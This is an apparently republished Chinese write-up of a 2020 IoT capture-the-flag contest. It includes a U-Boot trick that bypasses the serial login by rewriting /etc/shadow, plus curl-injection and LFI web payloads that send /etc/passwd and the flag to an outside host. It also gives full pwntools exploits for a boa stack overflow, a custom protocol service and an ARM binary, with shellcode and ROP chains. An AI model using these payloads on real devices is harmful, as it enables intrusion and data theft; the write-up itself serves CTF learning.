5

西湖论剑 2020 IoT闯关赛 赛后整理

 2 years ago
source link: https://xuanxuanblingbling.github.io/iot/2020/11/17/iot/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

西湖论剑 2020 IoT闯关赛 赛后整理

发表于 2020-11-17

| 分类于 IOT

本次IoT闯关赛为西湖论剑的其中一个赛项,由安恒的海特实验室出题,时长8小时,采用定制硬件为解题平台,玩法新颖,题目底座为armv5:linux5.4.75:libc2.30。但考察点偏CTF风格,与IoT安全实战尚有一定距离,最终赛况如下:

所有题目和刷机工具:IoT_attachment.zip

闯关赛的题目需要烧写到一个板子上,也就是选手的胸卡:【集赞福利】全球限量版“西湖论剑”IoT闯关赛神秘硬件!。这张胸卡的主控芯片为全志的F1C200s,留出了UART和OTA的接口,而且是直接使用micro USB接口,即UART转USB的功能已经做到板子上了,不需要TTL转接了。OTA接口在题目下的工作模式为USB网卡,可以直接给主机DHCP分配IP地址,板子的IP地址固定为20.20.11.14,故这俩USB直接接到主机上即可,UART用串口工具直接看,OTA是网卡。另外板子上还集成了ATmega328P,不过并明白他和主控是怎么一同使用的:

另外还发了其他的一些东西:排线,杜邦线,转接板,USB-TTL转接器,USB-ISP下载器,DVB-T+FM+DAB电视棒,TF卡以及micro USB的连接线

不过除了micro USB的连接线和电视棒,剩下的一概没用上。

使用串口工具连接板子,波特率115200,mac下可以自带工具:

➜  ls /dev | grep serial
cu.usbserial-02133E1A
tty.usbserial-02133E1A
➜  screen -L /dev/tty.usbserial-02133E1A  115200  -L

等题目启动完后,串口是有密码的:

Welcome to Hatlab BADGE200
badge200 login: root
Password: 

赛后提供了root密码:1864a64aa761b0e4,那比赛时此密码能否绕过呢?

uboot是启动linux内核前的引导,为内核启动提供参数。uboot阶段,其对整个系统可以进行完整的控制。故如果可以在uboot阶段拿到控制权,即uboot的shell,则可以有非常多的办法绕过之后启动的linux的权限认证。

因为串口是没有禁止输入的,而且uboot是可以被中断的,故完全可以使用uboot绕过密码。那如何进入uboot的shell呢?在板子上按reset重启,然后串口工具中快速按回车进入uboot命令行,可以使用help命令列出uboot的功能:

=> help
?         - alias for 'help'
base      - print or set address offset
bdinfo    - print Board Info structure
blkcache  - block cache diagnostics and control
boot      - boot default, i.e., run 'bootcmd'
bootd     - boot default, i.e., run 'bootcmd'
bootelf   - Boot from an ELF image in memory
bootm     - boot application image from memory
bootvx    - Boot vxWorks from an ELF image
bootz     - boot Linux zImage image from memory
chpart    - change active partition
clrlogo   - fill the boot logo area with black
cmp       - memory compare
coninfo   - print console devices and information
cp        - memory copy
crc32     - checksum calculation
dfu       - Device Firmware Upgrade
dm        - Driver model low level access
echo      - echo args to console
editenv   - edit environment variable
env       - environment handling commands
erase     - erase FLASH memory
exit      - exit script
ext2load  - load binary file from a Ext2 filesystem
ext2ls    - list files in a directory (default /)
ext4load  - load binary file from a Ext4 filesystem
ext4ls    - list files in a directory (default /)
ext4size  - determine a file's size
false     - do nothing, unsuccessfully
fatinfo   - print information about filesystem
fatload   - load binary file from a dos filesystem
fatls     - list files in a directory (default /)
fatmkdir  - create a directory
fatrm     - delete a file
fatsize   - determine a file's size
fatwrite  - write file into a dos filesystem
fdt       - flattened device tree utility commands
flinfo    - print FLASH memory information
fstype    - Look up a filesystem type
go        - start application at address 'addr'
gpio      - query and control gpio pins
gpt       - GUID Partition Table
help      - print command description/usage
iminfo    - print header information for application image
imxtract  - extract a part of a multi-image
itest     - return true/false on integer compare
ln        - Create a symbolic link
load      - load binary file from a filesystem
loadb     - load binary file over serial line (kermit mode)
loads     - load S-Record file over serial line
loadx     - load binary file over serial line (xmodem mode)
loady     - load binary file over serial line (ymodem mode)
loop      - infinite loop on address range
ls        - list files in a directory (default /)
md        - memory display
mm        - memory modify (auto-incrementing address)
mmc       - MMC sub system
mmcinfo   - display MMC info
mtd       - MTD utils
mtdparts  - define flash/nand partitions
mw        - memory write (fill)
nm        - memory modify (constant address)
part      - disk partition related commands
printenv  - print environment variables
protect   - enable or disable FLASH write protection
random    - fill memory with random pattern
reset     - Perform RESET of the CPU
run       - run commands in an environment variable
save      - save file to a filesystem
setenv    - set environment variables
setexpr   - set environment variable as the result of eval expression
sf        - SPI flash sub-system
showvar   - print local hushshell variables
size      - determine a file's size
sleep     - delay execution for some time
source    - run script from memory
sysboot   - command to get and boot from syslinux files
test      - minimal test like /bin/sh
true      - do nothing, successfully
ums       - Use the UMS [USB Mass Storage]
usb       - USB sub-system
usbboot   - boot from USB device
version   - print monitor, compiler and linker version

然后输入如下两条命令,长的命令需要多次复制(不知道原因)

=> setenv bootargs_common "console=ttyS0,115200 earlyprintk rootwait init=/bin/sh consoleblank=0 net.ifnames=0 biosdevname=0 rootfstype=jffs2"
=> boot

启动后进入没有题目的root shell,此时板子还没有ip地址,直接复制如下命令(全部复制),粘贴到shell里:

#!/bin/sh
mount proc /proc -t proc
set -- $(cat /proc/cmdline)
umount /proc
for x in "$@"; do
    case "$x" in
        overlayfsdev=*)
        OVERLAYFSDEV="${x#overlayfsdev=}"
        mtd erase /dev/mtd5
        mount -n -t jffs2 ${OVERLAYFSDEV} -o rw,noatime /overlay
        mkdir -p /overlay/rom/lower /overlay/rom/upper /overlay/rom/work
        mount -n -t overlay overlayfs:/overlay/rom -o rw,noatime,lowerdir=/,upperdir=/overlay/rom/upper,workdir=/overlay/rom/work /tmp
        mount --rbind /dev /tmp/dev/
        mount --rbind /overlay /tmp/overlay/
        mount --rbind / /tmp/overlay/rom/lower
        echo 'root:$1$NqxdI63c$nzvMkcJxzktGW6Tsgw3jb0:1::::::' > /tmp/etc/shadow
        exec chroot /tmp /sbin/init
        ;;
    esac
done
exec /sbin/init

然后用root:root应该就可以登录串口了,并且此时板子20.20.11.14应该已经可以ping通了,默认是开了ssh的,故也可以登录了

要理解上面的绕过方法,必须了解此系统是如何正常启动的。不过因为正常启动我们并拿不到shell,所以还是要利用uboot修改init变量进入到linux的shell中。分析启动就是分析这个init本来是啥?可以在uboot启动的时候观察环境变量,由于环境变量较多,有所过滤:

U-Boot 2020.07 (Nov 13 2020 - 15:01:11 +0800) Allwinner Technology

CPU:   Allwinner F Series (SUNIV)
Model: Allwinner F1C100s Generic Device
DRAM:  64 MiB
MMC:   mmc@1c0f000: 0, mmc@1c10000: 1
Setting up a 800x480 lcd console (overscan 0x0)
In:    serial
Out:   vga
Err:   vga
Allwinner mUSB OTG (Peripheral)
Hit any key to stop autoboot:  0
=> printenv bootargs_common
bootargs_common=console=ttyS0,115200 earlyprintk rootwait init=/preinit consoleblank=0 net.ifnames=0 biosdevname=0 rootfstype=jffs2

可见init变量设置为/preinit,这个玩意是啥,目前还不得而知,不过我们可以使用setenvuboot命令,将init的值改为/bin/sh,然后使用boot命令,即可继续进行启动流程

=> setenv bootargs_common "console=ttyS0,115200 earlyprintk rootwait init=/bin/sh consoleblank=0 net.ifnames=0 biosdevname=0 rootfstype=jffs2"
=> boot

启动之后我们就拿到了一个root shell,但是发现此时板子的网络还不通,题目也没起起来,文件系统挂载的也没有很清晰:

$ mount
mount: no /proc/mounts
$ ls /proc

不过我们在根目录下看到了preinit这个文件,发现是个sh脚本:

$ cat preinit
#!/bin/sh
mount proc /proc -t proc
set -- $(cat /proc/cmdline)
umount /proc
for x in "$@"; do
    case "$x" in
        overlayfsdev=*)
        OVERLAYFSDEV="${x#overlayfsdev=}"
        mtd erase /dev/mtd5
        mount -n -t jffs2 ${OVERLAYFSDEV} -o rw,noatime /overlay
        mkdir -p /overlay/rom/lower /overlay/rom/upper /overlay/rom/work
        mount -n -t overlay overlayfs:/overlay/rom -o rw,noatime,lowerdir=/,upperdir=/overlay/rom/upper,workdir=/overlay/rom/work /tmp
        mount --rbind /dev /tmp/dev/
        mount --rbind /overlay /tmp/overlay/
        mount --rbind / /tmp/overlay/rom/lower
        exec chroot /tmp /sbin/init
        ;;
    esac
done
exec /sbin/init

看不太懂这个脚本,尤其是这个for循环:

mount proc /proc -t proc
set -- $(cat /proc/cmdline)
umount /proc
for x in "$@"; do
    case "$x" in
        overlayfsdev=*)

不过可以先看一下proc/cmdline里有啥,发现应该就是启动内核的参数:

$ mount proc /proc -t proc
$ cat /proc/cmdline
console=ttyS0,115200 earlyprintk rootwait init=/bin/sh consoleblank=0 net.ifnames=0 biosdevname=0 rootfstype=jffs2 root=/dev/mtdblock3 overlayfsdev=/dev/mtdblock5

至于set --,$@=*)等参考:

大概应该就是解析内核的启动参数,找到overlayfsdev对应的值,即:/dev/mtdblock5,然后一顿挂载,替换完变量如下:

mtd erase /dev/mtd5
mount -n -t jffs2 /dev/mtdblock5 -o rw,noatime /overlay
mkdir -p /overlay/rom/lower /overlay/rom/upper /overlay/rom/work
mount -n -t overlay overlayfs:/overlay/rom -o rw,noatime,lowerdir=/,upperdir=/overlay/rom/upper,workdir=/overlay/rom/work /tmp
mount --rbind /dev /tmp/dev/
mount --rbind /overlay /tmp/overlay/
mount --rbind / /tmp/overlay/rom/lower
exec chroot /tmp /sbin/init

overlayfs这玩意比较绕,总之就是把根目录扔到/tmp目录下然后在chroot进去然后init,对于init程序的理解可以参考:

找到关键文件/tmp/etc/init.d/S99application,看完恍然大悟:

$ cat S99application 
#!/bin/sh
#
# Start Application....
#

start() {
    printf "Starting Application: "
    mkdir -p /overlay/extra/lower /overlay/extra/upper /overlay/extra/work
    mkdir -p /workspace
    mount -o ro /dev/mtdblock4 /overlay/extra/lower
    mount -n -t overlay overlayfs:/overlay/extra -o rw,noatime,lowerdir=/overlay/extra/lower,upperdir=/overlay/extra/upper,workdir=/overlay/extra/work /workspace
    echo 401 > /sys/class/gpio/export
    echo high > /sys/class/gpio/gpio401/direction
    cd /workspace
    /workspace/start.sh
    [ $? = 0 ] && echo "OK" || echo "FAIL"
}

stop() {
    printf "Stopping Application: "
    cd /workspace
    /workspace/stop.sh
    [ $? = 0 ] && echo "OK" || echo "FAIL"
}

case "$1" in
    start)
    start
    ;;
    stop)
    stop
    ;;
    restart|reload)
    stop
    sleep 1
    start
    ;;
  *)
    echo "Usage: $0 {start|stop|restart}"
    exit 1
esac

exit $?

原来/dev/mtdblock4才是题目存放的分区,系统进入chroot进入tmp后,执行/tmp/etc/init.d/中的初始化脚本,题目才被加载然后启动起来,网络也才正常启动。故完整的启动顺序如下:

uboot -> /preinit -> /tmp/sbin/init (/tmp/etc/init.d/*) -> /workspace/start.sh

所以我们可以在chroot题目的根文件系统,即chroot /tmp目录之前,修改/tmp目录下文件系统的配置文件,也就是在preinit环节做手脚:

echo 'root:$1$NqxdI63c$nzvMkcJxzktGW6Tsgw3jb0:1::::::' > /tmp/etc/shadow
exec chroot /tmp /sbin/init

一般来说修改完uboot的init应该就已经进入了linux正常的shell,但是这里的题目又套了一层,所以需要在中间做手脚。这才有了如下的脚本:

#!/bin/sh
mount proc /proc -t proc
set -- $(cat /proc/cmdline)
umount /proc
for x in "$@"; do
    case "$x" in
        overlayfsdev=*)
        OVERLAYFSDEV="${x#overlayfsdev=}"
        mtd erase /dev/mtd5
        mount -n -t jffs2 ${OVERLAYFSDEV} -o rw,noatime /overlay
        mkdir -p /overlay/rom/lower /overlay/rom/upper /overlay/rom/work
        mount -n -t overlay overlayfs:/overlay/rom -o rw,noatime,lowerdir=/,upperdir=/overlay/rom/upper,workdir=/overlay/rom/work /tmp
        mount --rbind /dev /tmp/dev/
        mount --rbind /overlay /tmp/overlay/
        mount --rbind / /tmp/overlay/rom/lower
        echo 'root:$1$NqxdI63c$nzvMkcJxzktGW6Tsgw3jb0:1::::::' > /tmp/etc/shadow
        exec chroot /tmp /sbin/init
        ;;
    esac
done
exec /sbin/init

总共4道题,题目开在板子的80端口的网页上,为了让选手熟悉硬件操作流程

  1. 手机改个蓝牙名字让板子搜索到
  2. 串口回板子个数据
  3. 把GPIO的电平拉低,短接
  4. 登录提示用户名或密码错误,即用户名:或,密码:错误,登录即可

其中第三题GPIO给了提示,对于ATmega328P,GPIO是PC3。故目标不是全志的F1C200s,而是ATmega328P,故找到其datasheet,用镊子短接PC3和地即可:

闯关赛:Web

本节Web方向内容由淼哥提供:西湖论剑2020-IoT闯关赛-WEB-WriteUp

IoT-Web1 版本更新

题目说明:路由器在检测版本更新的过程中,出现了一个意料之外的问题。题目端口80(flag在根目录或者/workspace下)

出题人没有给固件或者binary,考点是黑盒测试。
但是IoT设备的安全研究可以通过很多方法获取到固件或者shell,例如上述的方法获得了shell,该题的难度就大大降低了。

(1)参数注入

通过admin:admin就可以登录后台,跳转到 http://20.20.11.14/checkupdate.php?url=firmware.bin,没有其它的页面内容了,也就是说入口点就这一个url参数。
拿到shell后我们可以看到代码如下:

<?php

// session_start();

print "Content-type: text/html; charset=utf-8\n\n";
// if(empty($_SESSION['name'])){
//     echo "login first";
    //exit();
    //whataver  just do it lucky guy
// }
$url =$_ENV['CGI_URL'];


$cmd = "curl http://x11router.com/".$url." -o /tmp/test.bin ";
$cmd = escapeshellcmd($cmd);
#echo $cmd."\n";
shell_exec($cmd);
echo "Done";

//when we can't unpack the firmware or no firmware, we usually pentest to get shell first.
//hint : do u know rpc on this server ? get root shell

主要就是curl参数注入漏洞,需要逃逸escapeshellcmd()检测,一个思路参数注入逃逸,通过注入相关参数进行利用;二是通过%0d%0a换行进行分割逃逸执行命令。
后续的利用主要通过%0d%0a。
文件读取 PoC。
http://20.20.11.14/checkupdate.php?url=%0d%0acurl http://20.20.11.13:8000/ -X POST --data @/etc/passwd
读取flag读取不出,通过checkupdage.php最后两行提示也说明,当前用户没有权限读取flag,需要我们找个其它进程提高权限。

(2)寻找rpc高权限进程

黑盒的方式,可能要/proc/pid/cmdline遍历查找高权限的进程。
如果拿到shell,ps就可以发现,executeproxynew

本地开放9998端口

我们可以通过 http://20.20.11.14/checkupdate.php?url=%0d%0acurl http://20.20.11.13:8000/ -F "file=@/workspace/data/executeproxynew" 将binary传出来进行分析。

(3)逆向分析executeproxynew

该程序监听在9998的tcp端口,需要过个认证,提取命令执行,前两个字节看出题人的意图是后面payload的长度,但最后是取地址,数值会很大,所以任意两位就可。

最终执行的PoC:
11P4ss1:whoami|whomai|whomai|touch /tmp/re|

(4)利用链

通过上述方法,我先通过curl -X发送到9998端口执行chmod 777 /flag,然后在通过curl读取flag。
修改权限:
http://20.20.11.14/checkupdate.php?url=%0d%0acurl http://127.0.0.1:9998/ -X "12P4ss1:whoami|whomai|whomai|whoami|chmod 777 /flag|"
读取flag
http://20.20.11.14/checkupdate.php?url=%0d%0acurl http://20.20.11.13:8000/ -X POST --data @/flag

IoT-Web2 伪造登录

题目说明:成为管理员就可以读取flag,题目端口80(flag在根目录或者/workspace下)

提给出了3个binary,data.out,login.out,readflag.out,需要获得管理权限,然后运行readflag.out读取flag。

(1)login.out分析

name,pass参数传递用户名和密码。
判断用户名和密码hash都写死了,之后生成个/tmp/sess_xxx作为session缓存。

(2)data.out分析

这个文件存在命令注入,可以读取序列号shln12345678,和主页显示的序列号shlj12345678不一样,一度被这点误导一直在通过序列号进行密码拼接碰撞hash密码。
其实想通过sqlite注入写文件,用户名和密码又是写死的,感觉这硬拼凑在一起的,毫无逻辑关系。

(3)readflag.out 分析

这块判断sesion时候,是在1024字节内是否有:,然后判断后面字符是否admin,这个逻辑点也有点牵强,正常attach的sqlite的数据库大小超过1024字节了,保存的user:admin字符就在1024字节后。
需要限制数据库的大小,通过page_size=512;可以限制大小。

(4)利用链

通过sqlite注入写session缓存文件。

在设置cookie去读取flag。

IoT-web3 后门账号

题目说明:路由器管理后台被攻陷,运维加了个访问认证,可惜中间件被黑客植入了后门账号。题目端口80(flag在根目录或者/workspace下)

登录发现,该网站主要通过basic认证方式,appweb中间件,需要找到认证后门。一是直接定位相关认证逻辑代码。可以对比源码来寻找差别。二是直接编译appweb进行bindiff查找不同。

(1)认证后门

我们可以通过CVE-2018-8715发现,验证逻辑代码函数httpLogin()。

在libhttp.so中,添加了一句,只要第二位开始是Mon就可以绕过认证。 aMondmin:123456

(2)php包含漏洞

直接跳转到的页面。
很明显存在个php本地包含漏洞,利用/proc/self/environ即可。
LFI通过/proc/self/environ直接获取webshell index.php

<?php
print "Content-type: text/html; charset=utf-8\n\n";
echo "<script> document.location.href='action.php?action=echo.php';</script>";

atcion.php

<?php
print "Content-type: text/html; charset=utf-8\n\n";

$d=$_ENV['CGI_ACTION'];
include $d;

echo.php

<?php
    echo "<center><h1>very easy dont think too much</h1></center>";

获取flag位置。

读取flag

闯关赛:Pwn

吐槽一下,就没在IoT设备上见过这么高版本的libc,居然是2.30

板子上的linux是开了随机化保护的:

$ cat /proc/sys/kernel/randomize_va_space
1

babyboa

目标是开在80端口的boa,与源码对比一下非常容易发现,basic认证处sprintf存在栈溢出,a3,a4是base64解码后的用户名和密码,无论你是用户名长还是密码长都能溢出到这个点:

bool __fastcall sub_1D1AC(int a1, const char *a2, const char *a3, const char *a4)
{
  char s[308]; // [sp+4h] [bp-134h] BYREF

  sprintf(s, "%s:%s", a3, a4);
  return strcmp(s, a2) == 0;
}

不过因为是sprintf,故需要绕过00,但是因为开启了地址随机化,无法使用libc的gadget,于是就只能使用一条gadget来完成利用,并且无法在这个gadget之后布置数据,因为已经被截断了。这条gadget类似one_gadget效果,不过这里并不是execve(“/bin/sh”)这种,因为你和boa是真正的网络交互,而不是把标准输入输出重定向给网络,所以你需要找到一个能力非常强的gadget,想办法通过各种信道把flag送出来。但按道理这种gadget是不存在的,不可能天然存在这么定制的gadget。比赛结束后在4哥的提示下说找system函数,于是找到如下代码段:

.text:0001D2DC                 LDR     R6, [R6,#0x10]
.text:0001D2E0                 MOV     R0, R6,LSR#8    ; command
.text:0001D2E4                 BL      system

相面后的结论是,这就是纯造出来的gadget:

  1. 调试发现在栈溢出发生时,R6是指向base64解码后的认证数据,故使用此gadget我们可以控制R6寄存器的值
  2. 我们解码后的数据会被拷贝到一个固定的bss地址,虽然bss地址是带00的,不过没关系,R6将右移8位再给R0
  3. 如果把R0成功的指向上述bss地址,则可以任意命令执行

目前来看应该只有这一种解法,具体可以参考航哥的WP:西湖论剑IoT闯关赛-babyboa。不过这里我想分享一些命令执行后获取flag个办法,即回答上面的问题,我到底要通过什么信道将flag送出来?cat flag 肯定是没用的,因为boa起的sh子进程的标准输入输出你是看不到的。看看板子的实物,我们与板子有两根线相连,一根uart是串口,一根otg是网口,那flag肯定就从这两根线出来。于是对于两根线我分别到想了两种办法:

  1. 串口:直接输出flag到串口,修改串口的登录密码
  2. 网口:DNS,curl

最终exp如下,四种方式获取flag依次执行:

import requests
from pwn import *
from requests.auth import *

command  = "cat /workspace/flag > /dev/console;"
command += 'echo "root::::::::" > /etc/shadow;'
command += "nslookup `cat /workspace/flag` 20.20.11.13;"
command += "curl 20.20.11.13:1111 -T /workspace/flag;"

bss_pass = 0x434F8
r6r0_sys = 0x1D2DC

username = "a"*0x10+p32((bss_pass<<8)+0x11)
password = command.ljust(0x11b,"a")+p32(r6r0_sys)

requests.get('http://20.20.11.14/', auth=HTTPBasicAuth(username,password))

messageBox

协议逆向,目标为使用TCP:6780端口的服务端程序,接受符合自定义协议的客户端请求,是真正的网络接口,而不是像大部分Pwn题:将标准输入输出映射到网络接口上。检查发现没去符号,难度系数低于实际设备的逆向分析:

➜  file messageBox
messageBox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 5.4.0, not stripped
➜  checksec messageBox
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)

逆向过程较为简单,故略,协议格式为:

# big endian
fixed string[6 byte] + length[2 byte] + func code[2 byte] + crc[4 byte] + func data

一开始卡在crc校验总是算不对,本地调试发现长度的两个字节如果有00直接就被截断了,导致后面的正文数据压根没进行校验,所以需要将长度填满到两个字节。预期解应该是各种绕过使用后面的命令执行读取flag,但可以使用readFile功能直接直接读flag。即本题没有用到内存破坏漏洞的利用方式,而是直接使用程序的功能完成利用,exp如下:

from pwn import *
import zlib
context(log_level='debug',endian='big')
io = remote("20.20.11.14",6780)
payload = "readFile:"+"/"*0x100+"/workspace/flag"
crc = int(zlib.crc32(payload)& 0xffffffff)
io.send("H4bL1b"+p16(len(payload))+"\x01\x02"+p32(crc)+payload)
io.interactive()

ezArmpwn

前两题都是真正的网络交互,即目标程序里写的就是网络接口,这题又回到了经典CTF,nc连上就是菜单,故应该是最后execve("/bin/sh")就完事了。首先检查:开了NX,没去符号

➜ file pwn3
pwn3: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 5.4.0, not stripped
➜ checksec pwn3 
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)

发现两个栈溢出,一个悬空指针,已知三种解法:

shellcode

别看题目开了NX,但是经过测试,这个保护并没有在这个板子上起作用。故可以用第一个栈溢出leak出栈地址,然后写shellcode到栈上,最终尝试:Linux/StrongARM - execve() - 47 bytes by funkysh此shellcode成功,真是strong的ARM…

from pwn import *
context(arch='arm',os='linux',log_level='debug')

io = remote("20.20.11.14",9999)
#io = process(["qemu-arm","-L","/usr/arm-linux-gnueabihf/","./pwn3"])
#io = process(["qemu-arm","-g","1234","-L","/usr/arm-linux-gnueabihf/","./pwn3"])

sla         = lambda delim,data          :  (io.sendlineafter(delim, data))
init        = lambda name,password       :  (sla("username:",name),sla("password:",password),sla("again:",password),sla("continue ...",""))
info        = lambda                     :  (sla("choice > ","2"))
modify      = lambda password            :  (sla("choice > ","3"),sla("password:",password),sla("continue ...",""))

shellcode = "\x02\x20\x42\xe0\x1c\x30\x8f\xe2\x04\x30\x8d\xe5\x08\x20\x8d\xe5\x13\x02\xa0\xe1\x07\x20\xc3\xe5\x04\x30\x8f\xe2\x04\x10\x8d\xe2\x01\x20\xc3\xe5\x0b\x0b\x90\xef/bin/sh"

# leak stack
init("a"*20,"xuan");info()
io.recvuntil("a"*20)
stack = u32(io.recv(4))

# send shellcode
modify(shellcode.ljust(64,"a")+p32(stack+0x70))

# trigger return to shellcode
sla("choice > ","4")
io.interactive()

先leak出libc,然后栈溢出重新回到main函数,然后再次栈溢出就可以利用libc里的gadget和system函数了:

from pwn import *
context(arch='arm',os='linux',log_level='debug')
p = remote('20.20.11.14', 9999)

sla         = lambda delim,data          :  (p.sendlineafter(delim, data))
sa          = lambda delim,data          :  (p.sendafter(delim, data))
init        = lambda name,password       :  (sla("username:",name),sla("password:",password),sla("again:",password),sla("continue ...",""))
info        = lambda                     :  (sla("choice > ","2"))
modify      = lambda password            :  (sla("choice > ","3"),sa("password:",password),sla("continue ...",""))

# leak libc
init("a","a");modify('a'*40);info()
p.recvuntil('a'*40)
libc   = u32(p.recv(4)) - 0x32248
binsh  = libc + 0x127F44
system = libc + 0x03A028 
rop    = libc + 0x07ba84  # pop {r0, r4, pc}

# overflow return to main
modify('a'*64 + p32(0x10E70))
sla("choice > ","4")

# again overflow to system("/bin/sh")
init('a' * 0x1c + p32(rop) + p32(binsh)*2 + p32(system),"")
p.interactive()

西湖论剑IoT闯关赛复现: ezarmpwn


Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK